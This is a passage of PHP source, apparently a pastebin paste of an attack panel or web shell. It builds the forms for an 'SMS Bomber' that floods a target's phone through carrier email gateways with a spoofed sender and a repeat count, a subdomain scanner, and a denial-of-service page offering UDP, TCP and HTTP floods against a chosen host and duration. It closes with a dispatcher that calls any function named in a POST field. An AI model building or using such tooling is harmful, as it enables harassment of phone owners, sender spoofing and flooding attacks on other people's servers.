- $returnData .= ' <input class="mailInp" type="text" name="subject" placeholder="Subject" value="" />';
- $returnData .= ' <br>';
- $returnData .= ' <br>';
- $returnData .= ' Message';
- $returnData .= ' <br>';
- $returnData .= ' <textarea class="mailInp" id="bigbox" name="message"></textarea>';
- $returnData .= ' <br>';
- $returnData .= ' <br>';
- $returnData .= ' <input type="submit" value=">> Send <<"/>';
- $returnData .= ' <br>';
- $returnData .= ' </form>';
- $returnData .= ' </td>';
- $returnData .= ' <td width="50%">';
- $returnData .= ' <form method="post">';
- $returnData .= ' <input type="hidden" name="action" value="pageMail" />';
- $returnData .= ' <span>SMS Bomber</span>';
- $returnData .= ' <br>';
- $returnData .= ' <br>';
- $returnData .= ' Target';
- $returnData .= ' <br>';
- $returnData .= ' <input class="mailInp" type="text" name="to" placeholder="Target"s cell number" value="" />';
- $returnData .= ' <br>';
- $returnData .= ' <br>';
- $returnData .= ' Provider';
- $returnData .= ' <br>';
- $returnData .= ' <select class="mailInp" size="1" name="gateway">';
- $returnData .= ' <option value="@sms.3rivers.net">3 River Wireless</option>';
- $returnData .= ' <option value="@paging.acswireless.com">ACS Wireless</option>';
- $returnData .= ' <option value="@message.alltel.com">Alltel</option>';
- $returnData .= ' <option value="@txt.att.net ">AT&T</option>';
- $returnData .= ' <option value="@txt.bellmobility.ca">Bell Canada</option>';
- $returnData .= ' <option value="@bellmobility.ca">Bell Canada</option>';
- $returnData .= ' <option value="@txt.bell.ca">Bell Mobility (Canada)</option>';
- $returnData .= ' <option value="@txt.bellmobility.ca">Bell Mobility</option>';
- $returnData .= ' <option value="@blueskyfrog.com">Blue Sky Frog</option>';
- $returnData .= ' <option value="@sms.bluecell.com">Bluegrass Cellular</option>';
- $returnData .= ' <option value="@myboostmobile.com">Boost Mobile</option>';
- $returnData .= ' <option value="@bplmobile.com">BPL Mobile</option>';
- $returnData .= ' <option value="@cwwsms.com">Carolina West Wireless</option>';
- $returnData .= ' <option value="@mobile.celloneusa.com">Cellular One</option>';
- $returnData .= ' <option value="@csouth1.com">Cellular South</option>';
- $returnData .= ' <option value="@cwemail.com">Centennial Wireless</option>';
- $returnData .= ' <option value="@messaging.centurytel.net">CenturyTel</option>';
- $returnData .= ' <option value="@txt.att.net ">Cingular (Now AT&T)</option>';
- $returnData .= ' <option value="@msg.clearnet.com">Clearnet</option>';
- $returnData .= ' <option value="@comcastpcs.textmsg.com">Comcast</option>';
- $returnData .= ' <option value="@corrwireless.net">Corr Wireless Communications</option>';
- $returnData .= ' <option value="@mobile.dobson.net">Dobson</option>';
- $returnData .= ' <option value="@sms.edgewireless.com">Edge Wireless</option>';
- $returnData .= ' <option value="@fido.ca">Fido</option>';
- $returnData .= ' <option value="@sms.goldentele.com">Golden Telecom</option>';
- $returnData .= ' <option value="@messaging.sprintpcs.com">Helio</option>';
- $returnData .= ' <option value="@text.houstoncellular.net">Houston Cellular</option>';
- $returnData .= ' <option value="@ideacellular.net">Idea Cellular</option>';
- $returnData .= ' <option value="@ivctext.com">Illinois Valley Cellular</option>';
- $returnData .= ' <option value="@inlandlink.com">Inland Cellular Telephone</option>';
- $returnData .= ' <option value="@pagemci.com">MCI</option>';
- $returnData .= ' <option value="@page.metrocall.com">Metrocall</option>';
- $returnData .= ' <option value="@my2way.com">Metrocall 2-way</option>';
- $returnData .= ' <option value="@mymetropcs.com">Metro PCS</option>';
- $returnData .= ' <option value="@fido.ca">Microcell</option>';
- $returnData .= ' <option value="@clearlydigital.com">Midwest Wireless</option>';
- $returnData .= ' <option value="@mobilecomm.net">Mobilcomm</option>';
- $returnData .= ' <option value="@text.mtsmobility.com">MTS</option>';
- $returnData .= ' <option value="@messaging.nextel.com">Nextel</option>';
- $returnData .= ' <option value="@onlinebeep.net">OnlineBeep</option>';
- $returnData .= ' <option value="@pcsone.net">PCS One</option>';
- $returnData .= ' <option value="@txt.bell.ca">President"s Choice</option>';
- $returnData .= ' <option value="@sms.pscel.com">Public Service Cellular</option>';
- $returnData .= ' <option value="@qwestmp.com">Qwest</option>';
- $returnData .= ' <option value="@pcs.rogers.com">Rogers AT&T Wireless</option>';
- $returnData .= ' <option value="@pcs.rogers.com">Rogers Canada</option>';
- $returnData .= ' <option value="@satellink.net">Satellink</option>';
- $returnData .= ' <option value="@email.swbw.com">Southwestern Bell</option>';
- $returnData .= ' <option value="@messaging.sprintpcs.com">Sprint</option>';
- $returnData .= ' <option value="@tms.suncom.com">Sumcom</option>';
- $returnData .= ' <option value="@mobile.surewest.com">Surewest Communicaitons</option>';
- $returnData .= ' <option value="@tmomail.net">T-Mobile</option>';
- $returnData .= ' <option value="@msg.telus.com">Telus</option>';
- $returnData .= ' <option value="@txt.att.net">Tracfone</option>';
- $returnData .= ' <option value="@tms.suncom.com">Triton</option>';
- $returnData .= ' <option value="@utext.com">Unicel</option>';
- $returnData .= ' <option value="@email.uscc.net">US Cellular</option>';
- $returnData .= ' <option value="@txt.bell.ca">Solo Mobile</option>';
- $returnData .= ' <option value="@messaging.sprintpcs.com">Sprint</option>';
- $returnData .= ' <option value="@tms.suncom.com">Sumcom</option>';
- $returnData .= ' <option value="@mobile.surewest.com">Surewest Communicaitons</option>';
- $returnData .= ' <option value="@tmomail.net">T-Mobile</option>';
- $returnData .= ' <option value="@msg.telus.com">Telus</option>';
- $returnData .= ' <option value="@tms.suncom.com">Triton</option>';
- $returnData .= ' <option value="@utext.com">Unicel</option>';
- $returnData .= ' <option value="@email.uscc.net">US Cellular</option>';
- $returnData .= ' <option value="@uswestdatamail.com">US West</option>';
- $returnData .= ' <option value="@vtext.com">Verizon</option>';
- $returnData .= ' <option value="@vmobl.com">Virgin Mobile</option>';
- $returnData .= ' <option value="@vmobile.ca">Virgin Mobile Canada</option>';
- $returnData .= ' <option value="@sms.wcc.net">West Central Wireless</option>';
- $returnData .= ' <option value="@cellularonewest.com">Western Wireless</option>';
- $returnData .= ' </select>';
- $returnData .= ' <br>';
- $returnData .= ' <br>';
- $returnData .= ' Sender';
- $returnData .= ' <br>';
- $returnData .= ' <input class="mailInp" type="text" name="from" placeholder="Spoof email" value="" />';
- $returnData .= ' <br>';
- $returnData .= ' <br>';
- $returnData .= ' Amount';
- $returnData .= ' <br>';
- $returnData .= ' <input class="mailInp" type="text" name="loop" placeholder="100" value="" />';
- $returnData .= ' <br>';
- $returnData .= ' <br>';
- $returnData .= ' Subject';
- $returnData .= ' <br>';
- $returnData .= ' <input class="mailInp" type="text" name="subject" placeholder="Subject" value="" />';
- $returnData .= ' <br>';
- $returnData .= ' <br>';
- $returnData .= ' Message';
- $returnData .= ' <br>';
- $returnData .= ' <textarea class="mailInp" name="message"></textarea>';
- $returnData .= ' <br>';
- $returnData .= ' <br>';
- $returnData .= ' <input type="submit" value=">> Send <<"/>';
- $returnData .= ' <br>';
- $returnData .= ' </form>';
- $returnData .= ' </td>';
- $returnData .= ' </tr>';
- $returnData .= ' </table>';
- $returnData .= ' </center>';
- $returnData .= ' </div>';
- $returnData .= ' </div>';
- $returnData .= setFooter();
- return $returnData;
- }
- function pageResolver() {
- $returnData = setHeader();
- $returnData .= ' <div class="contentpos" style="padding-top:92px;">';
- $returnData .= ' <div class="contenttitle">';
- $returnData .= ' <h1>IP Resolver</h1>';
- $returnData .= ' </div>';
- $returnData .= ' <div class="centerwrapper">';
- $returnData .= ' <div class="content">';
- $returnData .= ' <center>';
- $returnData .= ' <table id="mailTbl" width="50%" cellspacing="1" cellpadding="2" style="padding-bottom:10px;">';
- $returnData .= ' <tr>';
- $returnData .= ' <td colspan="2">';
- $returnData .= ' <form method="post">';
- $returnData .= ' <input type="hidden" name="action" value="pageResolver" />';
- $returnData .= ' <br>';
- $returnData .= ' <span style="margin-top:20px;">SubDomain Scanner</span>';
- $returnData .= ' <br>';
- $returnData .= ' <br>';
- $returnData .= ' <p>Enter a top level domain</p>';
- $returnData .= ' ';
- $returnData .= ' <input class="mailInp" type="text" name="ResThis"/>';
- $returnData .= ' <input type="submit" value=">>"/>';
- $returnData .= ' </form>';
- $returnData .= ' </td>';
- $returnData .= ' </tr>';
- $returnData .= ' </table>';
- $returnData .= ' </center>';
- $returnData .= ' </div>';
- $returnData .= ' </div>';
- $returnData .= setFooter();
- return $returnData;
- }
- function pageDoS() {
- $returnData = setHeader();
- $FType = 'udp';
- if(isset($_POST['FloodType'])) $FType = $_POST['FloodType'];
- $TList = array(
- 'udp' => 'UDP Flooder',
- 'tcp' => 'TCP Flooder',
- 'http' => 'HTTP Flooder'
- );
- if($FType == 'http') {
- $formSwitch = 'page';
- $titleSwitch = 'Page';
- $hiddenForm = '<input type="hidden" name="port" value="80" />';
- }
- else{
- $formSwitch = 'port';
- $titleSwitch = 'Port';
- $hiddenForm = '<input type="hidden" name="page" value="" />';
- }
- $Title = $TList[$FType];
- $returnData .= ' <div class="contentpos" style="padding-top:92px;">';
- $returnData .= ' <div class="contenttitle">';
- $returnData .= ' <h1>Denial of Service</h1>';
- $returnData .= ' </div>';
- $returnData .= ' <div class="centerwrapper">';
- $returnData .= ' <div class="content">';
- $returnData .= ' <center> ';
- $returnData .= ' <span>Change method</span>';
- $returnData .= ' <br>';
- $returnData .= ' <br>';
- $returnData .= ' <form method="post" style="position:relative;width:20%;display:inline-block;">';
- $returnData .= ' <input type="hidden" name="action" value="pageDoS" />';
- $returnData .= ' <input type="hidden" name="FloodType" value="udp" />';
- $returnData .= ' <input type="submit" value="UDP"/ style="display:inline-block;width:25%;">';
- $returnData .= ' </form>';
- $returnData .= ' <form method="post" style="position:relative;width:20%;display:inline-block;">';
- $returnData .= ' <input type="hidden" name="action" value="pageDoS" />';
- $returnData .= ' <input type="hidden" name="FloodType" value="tcp" />';
- $returnData .= ' <input type="submit" value="TCP"/ style="display:inline-block;width:25%;">';
- $returnData .= ' </form>';
- $returnData .= ' <form method="post" style="position:relative;width:20%;display:inline-block;">';
- $returnData .= ' <input type="hidden" name="action" value="pageDoS" />';
- $returnData .= ' <input type="hidden" name="FloodType" value="http" />';
- $returnData .= ' <input type="submit" value="HTTP"/ style="display:inline-block;width:25%;">';
- $returnData .= ' </form>';
- $returnData .= ' ';
- $returnData .= ' <form method="post">';
- $returnData .= ' <table class="text">';
- $returnData .= ' <tr>';
- $returnData .= ' <td>';
- $returnData .= ' <span>' . $Title . '</span>';
- $returnData .= ' </td>';
- $returnData .= ' </tr>';
- $returnData .= ' <tr>';
- $returnData .= ' <td>';
- $returnData .= ' Host';
- $returnData .= ' </td>';
- $returnData .= ' </tr>';
- $returnData .= ' <tr>';
- $returnData .= ' <td>';
- $returnData .= ' <input type="text" name="host" >';
- $returnData .= ' </td>';
- $returnData .= ' </tr>';
- $returnData .= ' <tr>';
- $returnData .= ' <td>';
- $returnData .= ' ' . $titleSwitch . '';
- $returnData .= ' </td>';
- $returnData .= ' </tr>';
- $returnData .= ' <tr>';
- $returnData .= ' <td>';
- $returnData .= ' <input type="text" name="' . $formSwitch. '" value="" >';
- $returnData .= ' </td>';
- $returnData .= ' </tr>';
- $returnData .= ' <tr>';
- $returnData .= ' <td>';
- $returnData .= ' Time';
- $returnData .= ' </td>';
- $returnData .= ' </tr>';
- $returnData .= ' <tr>';
- $returnData .= ' <td>';
- $returnData .= ' <input type="text" name="time">';
- $returnData .= ' </td>';
- $returnData .= ' </tr>';
- $returnData .= ' <tr>';
- $returnData .= ' <td>';
- $returnData .= ' <input type="hidden" name="action" value="pageDoS" />';
- $returnData .= ' <input type="hidden" name="FloodType" value="' . $FType . '" />';
- $returnData .= ' ' . $hiddenForm . '';
- $returnData .= ' <input type="hidden" name="" value="http" />';
- $returnData .= ' </td>';
- $returnData .= ' </tr>';
- $returnData .= ' </table>';
- $returnData .= ' <input type="submit" value=">>" />';
- $returnData .= ' </form>';
- $returnData .= ' </center>';
- $returnData .= ' </div>';
- $returnData .= ' </div>';
- $returnData .= setFooter();
- return $returnData;
- }
- $startTime = getStartTime();
- if( empty($_POST['action']) )
- if(isset($default_action) && function_exists($default_action)) $_POST['action'] = $default_action;
- else $_POST['action'] = 'pageMain';
- if( !empty($_POST['action']) && function_exists($_POST['action']) ) echo call_user_func($_POST['action']);
- exit;
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement